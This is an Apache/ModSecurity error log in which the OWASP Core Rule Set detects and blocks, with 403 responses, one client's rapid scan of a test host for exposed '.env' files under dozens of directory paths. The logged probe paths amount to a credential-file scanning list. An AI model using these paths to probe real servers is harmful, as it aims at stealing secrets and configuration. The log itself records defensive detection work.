[Wed Feb 25 06:05:36.217237 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/style/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBAAAAAc&quot;]
[Wed Feb 25 06:05:36.239081 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdgAAAAU&quot;]
[Wed Feb 25 06:05:36.239383 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdgAAAAU&quot;]
[Wed Feb 25 06:05:36.239562 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitemaps/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdgAAAAU&quot;]
[Wed Feb 25 06:05:36.273141 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sites/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdwAAAAU&quot;]
[Wed Feb 25 06:05:36.273414 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdwAAAAU&quot;]
[Wed Feb 25 06:05:36.273609 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDdwAAAAU&quot;]
[Wed Feb 25 06:05:36.320347 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /styles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBQAAAAc&quot;]
[Wed Feb 25 06:05:36.320617 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBQAAAAc&quot;]
[Wed Feb 25 06:05:36.320688 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sitestatic/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDeAAAAAU&quot;]
[Wed Feb 25 06:05:36.320829 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/styles.css/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBQAAAAc&quot;]
[Wed Feb 25 06:05:36.320981 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDeAAAAAU&quot;]
[Wed Feb 25 06:05:36.321144 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sitestatic/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDeAAAAAU&quot;]
[Wed Feb 25 06:05:36.349639 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stylesheets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBgAAAAc&quot;]
[Wed Feb 25 06:05:36.349930 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBgAAAAc&quot;]
[Wed Feb 25 06:05:36.350142 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stylesheets/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZBgAAAAc&quot;]
[Wed Feb 25 06:05:36.361930 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /socketio/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDeQAAAAU&quot;]
[Wed Feb 25 06:05:36.362205 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDeQAAAAU&quot;]
[Wed Feb 25 06:05:36.362379 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Socketio/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDeQAAAAU&quot;]
[Wed Feb 25 06:05:36.391901 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /source/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDegAAAAU&quot;]
[Wed Feb 25 06:05:36.392182 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDegAAAAU&quot;]
[Wed Feb 25 06:05:36.392369 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/source/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDegAAAAU&quot;]
[Wed Feb 25 06:05:36.452466 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCAAAAAc&quot;]
[Wed Feb 25 06:05:36.452764 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCAAAAAc&quot;]
[Wed Feb 25 06:05:36.452944 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/symfony/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCAAAAAc&quot;]
[Wed Feb 25 06:05:36.497722 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system-config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCQAAAAc&quot;]
[Wed Feb 25 06:05:36.497996 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCQAAAAc&quot;]
[Wed Feb 25 06:05:36.498175 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system-config/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZCQAAAAc&quot;]
[Wed Feb 25 06:05:36.501111 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDewAAAAU&quot;]
[Wed Feb 25 06:05:36.501370 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDewAAAAU&quot;]
[Wed Feb 25 06:05:36.501524 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sources/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDewAAAAU&quot;]
[Wed Feb 25 06:05:36.551398 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /sources/api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfAAAAAU&quot;]
[Wed Feb 25 06:05:36.551666 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Sources/API/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDfAAAAAU&quot;]
